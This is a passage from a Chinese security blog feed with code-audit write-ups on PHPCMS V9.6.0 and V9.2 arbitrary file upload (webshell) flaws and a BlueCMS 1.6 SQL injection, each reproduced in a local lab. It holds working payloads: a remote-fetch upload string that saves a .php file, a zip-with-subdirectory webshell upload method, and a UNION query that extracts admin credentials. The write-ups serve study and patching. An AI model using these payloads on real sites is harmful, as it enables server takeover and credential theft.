class="string">'memcache'</span> :</span><br><span class="line">define(<span class="string">'MEMCACHE_HOST'</span>, <span class="keyword">$this</span>->cache_config[$cache_name][<span class="string">'hostname'</span>]);</span><br><span class="line">define(<span class="string">'MEMCACHE_PORT'</span>, <span class="keyword">$this</span>->cache_config[$cache_name][<span class="string">'port'</span>]);</span><br></pre></td></tr></table></figure><p>由于<code>$cache_name = 'file'</code>, 从而执行<code>$object = pc_base::load_sys_class('cache_file');</code>,跟进一下<code>pc_base::load_sys_class</code>方法</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314180004931.png" alt="image-20210314180004931"></p><p>调用了<code>_load_class</code>类,继续进入</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314181859518.png" alt="image-20210314181859518"></p><p>122行的代码不会执行,因为文件路劲中<code>没有自己的扩展文件</code>,<code>my_path</code>方法代码如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">my_path</span>(<span class="params">$filepath</span>) </span>{</span><br><span class="line">$path = pathinfo($filepath);</span><br><span class="line"><span class="keyword">if</span> (file_exists($path[<span class="string">'dirname'</span>].DIRECTORY_SEPARATOR.<span class="string">'MY_'</span>.$path[<span class="string">'basename'</span>])) {</span><br><span class="line"><span class="keyword">return</span> $path[<span class="string">'dirname'</span>].DIRECTORY_SEPARATOR.<span class="string">'MY_'</span>.$path[<span class="string">'basename'</span>];</span><br><span class="line"> <span class="comment">// 没有 my_cache_file.class.php</span></span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>上图执行到130行,返回了<code>cache_file</code>对象(因为<code>$name='cache_file'</code>),内容见下图:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314182231735.png" alt="image-20210314182231735"></p><p>这里返回完了以后,退出到执行<code>phpsso_server/phpcms/libs/functions/global.func.php</code>中548行处<code>get</code>方法,代码如下:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314182655317.png" alt="image-20210314182655317"></p><p>代码传入的参数<code>$name</code>就是下图的<code>'model_field_'.$modelid</code> = <code>'model_field_10'</code>:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314182750163.png" alt="image-20210314182750163"></p><p>看看get方法,可以发现,它包含了<code>/caches/caches_model/caches_data/model_field_10.cache.php</code>文件</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314183930348.png" alt="image-20210314183930348"></p><p>且91行返回了<code>/caches/caches_model/caches_data/model_field_10.cache.php</code>中的内容</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314184250681.png" alt="image-20210314184250681"></p><p>内容如下:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314091245587.png" alt="image-20210314091245587"></p><p><code>$func = $this->fields[$field]['formtype'];</code> 对应此文件中<code>'formtype' => datetime</code>,因此这里<code>$func = datetime</code>。</p><p>当然,这里数据也可以通过数据库中<code>v9_member_field</code>表获取。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314212730989.png" alt="image-20210314212730989"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314210556278.png" alt="image-20210314210556278"></p><p>可能上面描述的不太直观,我们再次梳理一下获取<code>datetime</code>函数的流程:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314210309027.png" alt="image-20210314210309027"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314210322967.png" alt="image-20210314210322967"></p><p>接下来我们分析poc</p><blockquote><p>注意:再一次使用poc的时候,我们需要保证<code>username</code>值和<code>email</code>是唯一的</p></blockquote><p>通过上面的分析,直接下断点到关键处</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314212901681.png" alt="image-20210314212901681"></p><p>如上图,这里获取的是<code>editor</code>函数,而在这个函数中,有个<code>download</code>方法(下图,文件在<code>caches/caches_model/caches_data/member_input.class.php</code>)</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314212935364.png" alt="image-20210314212935364"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314213035969.png" alt="image-20210314213035969"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314213110830.png" alt="image-20210314213110830"></p><p>上面关键代码如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ext = <span class="string">'gif|jpg|jpeg|bmp|png'</span>;</span><br><span class="line">...</span><br><span class="line">$string = new_stripslashes($value);</span><br><span class="line"><span class="keyword">if</span>(!preg_match_all(<span class="string">"/(href|src)=([\"|']?)([^ \"'>]+\.(<span class="subst">$ext</span>))\\2/i"</span>,$string, $matches)) <span class="keyword">return</span> $value;</span><br></pre></td></tr></table></figure><p>这个正则匹配不难理解,需要满足<code>href/src=url. (gif|jpg|jpeg|bmp|png) </code>,这就是为什么我们写<code>info[content]=<img src=http://www.tao.com/a.txt?.php#.jpg</code>(符合这个格式,而且加<code>.jpg</code>的原因),接着进入<code>fillurl</code>方法</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314213134570.png" alt="image-20210314213134570"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314213548087.png" alt="image-20210314213548087"></p><p>在上图的<code>fillurl</code>方法中,通过下面代码去掉了锚点.</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$pos = strpos($surl,<span class="string">'#'</span>);</span><br><span class="line"><span class="keyword">if</span>($pos><span class="number">0</span>) $surl = substr($surl,<span class="number">0</span>,$pos);</span><br></pre></td></tr></table></figure><p><code>strpos</code>定位<code>#</code>, 然后使用<code>substr</code>处理<code>http://www.tao.com/t.txt?.php#.jpg</code>, 处理完之后<code>$surl = http://www.tao.com/t.txt?.php</code>。</p><p>继续执行,可以发现返回的url去掉了<code>#</code>后面的内容</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314213653293.png" alt="image-20210314213653293"></p><p>下面166行处获取了上面返回url的后缀,及<code>php</code>,通过<code>getname</code>方法进行重命名,可以发现的是,<code>getname</code>方法返回的文件名也只是时间+随机的三位数。如果不返回上传文件的url地址,也可以通过爆破获取。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314213759469.png" alt="image-20210314213759469"></p><p>接着程序调用了<code>copy</code>函数,对远程的url文件进行了下载</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314213822263.png" alt="image-20210314213822263"></p><p>这里的<code>$this->upload_func</code>是<code>copy</code>函数的原因,是因为初始化时赋给的(看下图)</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314214128879.png" alt="image-20210314214128879"></p><p>此时能看到我们要写入的内容已经成功写入文件了。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314213944612.png" alt="image-20210314213944612"></p><p>接着我们来看看写入文件的路劲是如何返回给我们的。上面程序执行完以后,回到了<code>register</code>函数中:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314223358815.png" alt="image-20210314223358815"></p><p>F7跟进</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314223508528.png" alt="image-20210314223508528"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">INSERT INTO `phpcmsv96`.`v9_member_detail`(`content`,`userid`) VALUES (<span class="string">'&lt;img src=http://www.phpcms96.com/uploadfile/2021/0314/20210314103307168.php&gt;'</span>,<span class="string">'25'</span>)</span><br></pre></td></tr></table></figure><p>可以发现,上上图140行处<code>$status > 0</code>时会执行上面的SQL语句,也就是向<code>v9_member_detail</code>的<code>content</code>和<code>userid</code>两列插入数据</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210207090423515.png" alt="img"></p><p>但是由于<code>v9_member_detail</code>表结构中没有<code>content</code>列,产生了报错。从而将插入数据中的sql报错语句(包含shell 路径)返回了前台页面。</p><p>前面说140行<code>$status>0</code> 时才会执行 SQL 语句进行 INSERT 操作。我们来看一下什么时候<code>$status <= 0</code>,不执行<code>insert</code>呢?</p><p>通过前面139行我们发现<code>$status</code>是由<code>client</code>类中<code>ps_member_register</code>方法返回的(函数路劲在: <code>phpcms/modules/member/classes/client.class.php</code> )</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314214924756.png"></p><p><code>$status <= 0</code>都是因为用户名和邮箱不唯一导致的,所以我们payload尽量要随机</p><p>另外在 phpsso 没有配置好的时候<code>$status</code>的值为空,也同样不能得到路径</p><p>在无法得到路径的情况下我们只能爆破了 ,文件名的生成方法(在<code>phpcms/libs/classes/attachment.class.php</code>)</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210314213759469.png" alt="image-20210314213759469"></p><p>返回的文件名也只是时间+随机的三位数。比较容易爆破的。</p><h2 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h2><p>在phpcms9.6.1中修复了该漏洞,修复方案就是对用<code>fileext</code>获取到的文件后缀再用黑白名单分别过滤一次</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210207093004450.png" alt="img-end"></p>]]></content>
<summary type="html"><h1 id="PHPCMS-V9-6-0任意文件上传漏洞分析"><a href="#PHPCMS-V9-6-0任意文件上传漏洞分析" class="headerlink" title="PHPCMS_V9.6.0任意文件上传漏洞分析"></a>PHPCMS_V9.6.0任意文件</summary>
<category term="web安全" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="代码审计" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
<category term="PHP代码审计" scheme="https://taonn.github.io/tags/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>代码审计之PHPCMS_V9.2任意文件上传getshell漏洞分析</title>
<link href="https://taonn.github.io/2021/02/06/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BPHPCMSV9-2%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
<id>https://taonn.github.io/2021/02/06/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BPHPCMSV9-2%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</id>
<published>2021-02-06T11:10:11.000Z</published>
<updated>2021-03-16T05:29:35.571Z</updated>
<content type="html"><![CDATA[<h1 id="PHPCMS-V9-2任意文件上传getshell漏洞分析"><a href="#PHPCMS-V9-2任意文件上传getshell漏洞分析" class="headerlink" title="PHPCMS_V9.2任意文件上传getshell漏洞分析"></a>PHPCMS_V9.2任意文件上传getshell漏洞分析</h1><h2 id="介绍-amp-预备知识"><a href="#介绍-amp-预备知识" class="headerlink" title="介绍&预备知识"></a>介绍&预备知识</h2><p><strong>介绍</strong>:PHPCMS是一款网站管理软件。该软件采用模块化开发,支持多种分类方式。</p><h3 id="预备知识"><a href="#预备知识" class="headerlink" title="预备知识"></a>预备知识</h3><p>PHPCMS是采用<font color="red">MVC设计</font>模式开发,基于模块和操作的方式进行访问,采用单一入口模式进行项目部署和访问,无论访问任何一个模块或者功能,只有一个统一的入口。</p><table><thead><tr><th>参数名称</th><th>描述</th><th>位置</th><th>备注</th></tr></thead><tbody><tr><td>m</td><td>模型/模块名称</td><td><code>phpcms/modules中模块目录名称</code></td><td>必须</td></tr><tr><td>c</td><td>控制器名称</td><td><code>phpcms/modules/模块/*.php 文件名称</code></td><td>必须</td></tr><tr><td>a</td><td>事件名称</td><td><code>phpcms/modules/模块/*.php 中方法名称</code></td><td></td></tr></tbody></table><p>模块访问方法[示例]:<br><code>http://www.xxx.com/index.php?m=content&c=index&a=show&id=1</code><br>其中<br><code>m = content</code> 为模型/模块名称 位于<strong>phpcms/modules/content</strong><br><code>c = index</code> 为控制器名称 位于<strong>phpcms/modules/content/index.php</strong><br><code>a = show</code> 为时间名称 位于<strong>phpcms/modules/content/index.php</strong>中<code>show()</code>方法<br>id = 1 为其他参数 与正常get传递参数形式相同</p><p>还有一点就是访问<code>http://www.xxx.com/index.php</code></p><p>phpcms默认路由会定位到content模块的index控制器中的<code>init</code>操作,因为系统在没有指定模块和控制器的时候,会执行默认的模块和操作.</p><p>所以跟访问<code>http://www.xxx.com/index.php?m=content&c=index&a=init</code>是一样的</p><blockquote><p>参考来源:<a href="http://www.sjzphp.com/webdis/router_url_907.html">http://www.sjzphp.com/webdis/router_url_907.html</a></p></blockquote><h2 id="环境搭建-amp-所需工具"><a href="#环境搭建-amp-所需工具" class="headerlink" title="环境搭建&所需工具"></a>环境搭建&所需工具</h2><ul><li>phpstudy2018<ul><li><code>php-5.4.45-nts + Apache</code></li></ul></li><li>PHPCMS_V9.2</li><li>Burpsuite</li></ul><p>测试站点网址:<code>www.phpcms92.com</code></p><p>访问<code>/install/install.php</code>文件进行安装,下一步</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309190648469.png" alt="image-20210309190648469"></p><p>下一步,配置相关信息</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309190734311.png" alt="image-20210309190734311"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309190817357.png" alt="image-20210309190817357"></p><p>安装完成!!!</p><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>访问首页<code>index.php</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309190919710.png" alt="image-20210309190919710"></p><p>注册一个账户(这里我以Tao这个普通用户进行演示)</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309190947022.png" alt="image-20210309190947022"></p><p>到个人主页修改头像处,上传头像</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309191442679.png" alt="image-20210309191442679"></p><p>在此之前,还要准备一个后缀为<code>zip</code>的压缩包,具体内容如下:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309191233718.png" alt="image-20210309191233718"></p><blockquote><p>php文件需要放在二层目录下然后再进行压缩</p></blockquote><p>上传头像照片(Burp抓包)->保存图片</p><p>将之前的图片数据删除</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309193312286.png" alt="image-20210309193312286"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309193339943.png" alt="image-20210309193339943"></p><p>将<code>Tao.zip</code>中数据,按照上图的操作添加至请求中,最终效果如下图。然后放行</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309193358488.png" alt="image-20210309193358488"></p><p>访问<code>phpsso_server/uploadfile/avatar/1/1/1/dir/404.php</code>(这里的<code>1</code>是注册后用户的id)</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309193457813.png" alt="image-20210309193457813"></p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>在分析之前,我们先说一下漏洞存在处的功能,执行流程,以及漏洞产生的原因。</p><p>在编辑头像处,我们上传头像,前端会将我们上传的图片进行分割成三张(三个尺寸大小)。然后前端打包压缩成zip数据,<font color="red">当我们保存图片时</font>,我们的压缩包数据会上传到服务器,通过<code>uploadavatar</code>函数进行处理(函数在文件<code>phpsso_server/phpcms/modules/phpsso/index.php</code>);而这个函数的执行流程就是:</p><ol><li>在保存上传头像文件夹处,创建一个跟用户id对应的文件夹</li><li>将前端打包的压缩包通过post传来的数据进行保存,保存名为用户id的zip文件</li><li>解压数据包</li><li>判断未在数组内文件名命名的<font color="red">文件</font>,不是则通过<code>unlink</code>函数遍历删除</li></ol><p>上面流程存在问题的地方有,1.未对压缩包内容进行处理,2.解压遍历删除使用的是<code>unlink</code>函数,这个函数只能删除文件,不能删除文件夹。因为这一原因,我们只需将压缩包文件里带一个目录,目录里带恶意文件,即可绕过。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210310163059145.png" alt="image-20210310163059145"></p><p>图片处理请求为<code>/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar</code></p><p>定位文件<code>phpsso_server/phpcms/modules/phpsso/index.php</code>572行</p><blockquote><p>为什么定位到这,开头介绍有说</p></blockquote><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309194258881.png" alt="image-20210309194258881"></p><p>调试,向下执行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">uploadavatar</span>(<span class="params"></span>) </span>{</span><br><span class="line"></span><br><span class="line"><span class="comment">//根据用户id创建文件夹</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="keyword">$this</span>->data[<span class="string">'uid'</span>]) && <span class="keyword">isset</span>(<span class="keyword">$this</span>->data[<span class="string">'avatardata'</span>])) {</span><br><span class="line"><span class="keyword">$this</span>->uid = <span class="keyword">$this</span>->data[<span class="string">'uid'</span>];</span><br><span class="line"><span class="keyword">$this</span>->avatardata = <span class="keyword">$this</span>->data[<span class="string">'avatardata'</span>];</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"><span class="keyword">exit</span>(<span class="string">'0'</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309194703292.png" alt="image-20210309194703292"></p><p>可以发现<code>$this->data['avatardata']</code>变量存储着我们上传修改的数据(恶意)</p><p>而<code>$this->data['avatardata']</code>是通过伪协议获取的(文件为phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php),具体代码如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$postStr = file_get_contents(<span class="string">"php://input"</span>);</span><br><span class="line"><span class="keyword">if</span>($postStr) {</span><br><span class="line"><span class="keyword">$this</span>->data[<span class="string">'avatardata'</span>] = $postStr;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>继续向下走,新建存放图片目录</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309194942502.png" alt="image-20210309194942502"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//创建图片存储文件夹</span></span><br><span class="line">$avatarfile = pc_base::load_config(<span class="string">'system'</span>, <span class="string">'upload_path'</span>).<span class="string">'avatar/'</span>;</span><br><span class="line">$dir = $avatarfile.$dir1.<span class="string">'/'</span>.$dir2.<span class="string">'/'</span>.<span class="keyword">$this</span>->uid.<span class="string">'/'</span>;</span><br><span class="line"><span class="keyword">if</span>(!file_exists($dir)) {</span><br><span class="line"> mkdir($dir, <span class="number">0777</span>, <span class="literal">true</span>);</span><br><span class="line">}</span><br><span class="line">$filename = $dir.<span class="keyword">$this</span>->uid.<span class="string">'.zip'</span>;</span><br><span class="line">file_put_contents($filename, <span class="keyword">$this</span>->avatardata);</span><br></pre></td></tr></table></figure><p>上面代码第五行创建目录。之后进行新命名压缩包,名为用户id值。然后将我们上面通过伪协议获取的数据进行写入</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309195507871.png" alt="image-20210309195507871"></p><p>如下图,可以发现,新建了<code>1.zip</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309195911863.png" alt="image-20210309195911863"></p><p>压缩包内容如下,就是我们修改上传的数据</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210310173149661.png" alt="image-20210310173149661"></p><p>之后解压缩。。。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309200054842.png" alt="image-20210309200054842"></p><p>走到遍历白名单判断文件,排除<code>.</code>(当前目录)<code>..</code>(上级目录)</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309200223331.png" alt="image-20210309200223331"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309200237815.png" alt="image-20210309200237815"></p><p>下图删除了压缩包文件</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309200313435.png" alt="image-20210309200313435"></p><p>继续执行,当判断到<code>dir</code>目录时,因为<code>dir</code>目录不属于数组里(白名单),然后执行<code>unlink(dir目录)</code>。由于<code>unlink</code>函数只能删除文件,无法删除文件夹,所以就留下了恶意代码文件。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309200455153.png" alt="image-20210309200455153"></p><p>接着跳出了if语句,继续执行,将信息更新至数据库</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210309200514238.png" alt="image-20210309200514238"></p><p>所以,漏洞产生的原因就是<code>unlink</code>函数</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(!in_array($file, $avatararr)) {</span><br><span class="line">@unlink($dir.$file);<span class="comment">// 漏洞产生的原因</span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210310234923955.png" alt="image-20210310234923955"></p><p>因为<code>unlink</code>无法删除文件夹,这就是为什么上面利用的压缩包里的恶意代码文件需要放在目录下</p><h2 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h2><ul><li>不使用zip压缩包处理图片文件</li><li>使用最新版的phpcms</li></ul>]]></content>
<summary type="html"><h1 id="PHPCMS-V9-2任意文件上传getshell漏洞分析"><a href="#PHPCMS-V9-2任意文件上传getshell漏洞分析" class="headerlink" title="PHPCMS_V9.2任意文件上传getshell漏洞分析"></a</summary>
<category term="web安全" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="代码审计" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
<category term="PHP代码审计" scheme="https://taonn.github.io/tags/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>代码审计之BlueCMS_V1.6</title>
<link href="https://taonn.github.io/2021/02/02/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BBlueCMS-V1-6/"/>
<id>https://taonn.github.io/2021/02/02/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BBlueCMS-V1-6/</id>
<published>2021-02-02T13:35:01.000Z</published>
<updated>2021-03-16T05:29:54.147Z</updated>
<content type="html"><![CDATA[<h1 id="代码审计之BlueCMS-V1-6"><a href="#代码审计之BlueCMS-V1-6" class="headerlink" title="代码审计之BlueCMS_V1.6"></a>代码审计之BlueCMS_V1.6</h1><h2 id="漏洞环境-amp-搭建"><a href="#漏洞环境-amp-搭建" class="headerlink" title="漏洞环境&搭建"></a>漏洞环境&搭建</h2><p>本地环境搭建,使用phpstudy集成系统,CMS版本为<code>BlueCMS_v1.6</code></p><p>访问<code>install</code>目录</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228100246267.png" alt="image-20210228100246267"></p><p>下一步,查看数据库文件有没有生成</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228100419373.png" alt="image-20210228100419373"></p><p>安装成功!</p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>丢进seay里面(新建项目->选择bluecms安装目录->自动审计->开始)</p><h3 id="数字型SQL注入"><a href="#数字型SQL注入" class="headerlink" title="数字型SQL注入"></a>数字型SQL注入</h3><p>产生此漏洞的文件为<code>ad_js.php</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228103753924.png" alt="image-20210228103753924"></p><p>seay显示19行的<code>$ad_id</code>变量存在sql注入,而变量<code>$ad_id是</code>从<code>$_GET['ad_id']</code>中来的,且只经过了<code>trim</code>。</p><blockquote><p> <code>trim()</code>:函数移除字符串两侧的空白字符或其他预定义字符。</p></blockquote><p>而在ad_js.php文件的开头(第10行)引入了过滤文件<code>require_once dirname(__FILE__) . '/include/common.inc.php';</code></p><p>查看<code>common.inc.php</code>文件, 发现对<code>$_POST</code>,<code>$_GET</code>,<code>$_COOKIE</code>,<code>$_REQUEST</code>传递的参数都进行了过滤</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228105725166.png" alt="image-20210228105725166"></p><p>跟踪看看<code>deep_addslashes</code>是怎么实现的</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">deep_addslashes</span>(<span class="params">$str</span>)</span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">if</span>(is_array($str))</span><br><span class="line">{</span><br><span class="line"><span class="keyword">foreach</span>($str <span class="keyword">as</span> $key=>$val)</span><br><span class="line">{</span><br><span class="line">$str[$key] = deep_addslashes($val);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">{</span><br><span class="line">$str = addslashes($str);<span class="comment">// </span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> $str;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>使用<code>addslashes</code>过滤,但是<code>addslashes</code>函数是不影响数字型注入的</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ad = $db->getone(<span class="string">"SELECT * FROM "</span>.table(<span class="string">'ad'</span>).<span class="string">" WHERE ad_id ="</span>.$ad_id);</span><br></pre></td></tr></table></figure><p>可以看到上面的是个数字型注入,<code>getone</code>函数我们追踪一下,代码在<code>mysql.class.php</code>中</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getone</span>(<span class="params">$sql, $type=MYSQL_ASSOC</span>)</span>{</span><br><span class="line"> $query = <span class="keyword">$this</span>->query($sql,<span class="keyword">$this</span>->linkid);</span><br><span class="line"> $row = mysql_fetch_array($query, $type);</span><br><span class="line"> <span class="keyword">return</span> $row;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>是一个执行sql语句的函数,这里就确认存在数字型sql注入漏洞</p><p>漏洞复现:因为我们这里是白盒测试,所以直接提取一下管理的用户名和密码</p><p><code>http://www.bluecms16.com/ad_js.php?ad_id=1 UNION SELECT 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228105415027.png" alt="image-20210228105415027"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228110507267.png" alt="image-20210228110507267"></p><blockquote><p>38行输出的时候注释掉了,因此我们需要查看源代码</p></blockquote><p>还要注意一下<code>0x3a</code>-><code>:</code>, 因为上面使用了<code>addslashes</code>函数,该函数会将<code>单引号(')</code>,<code>双引号(")</code>, <code>反斜杠(\)</code>,<code>NULL</code>进行转义,而使用编码就很好的绕过了!</p><h3 id="INSERT型SQL注入"><a href="#INSERT型SQL注入" class="headerlink" title="INSERT型SQL注入"></a>INSERT型SQL注入</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210228111910745.png" alt="image-20210228111910745"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span 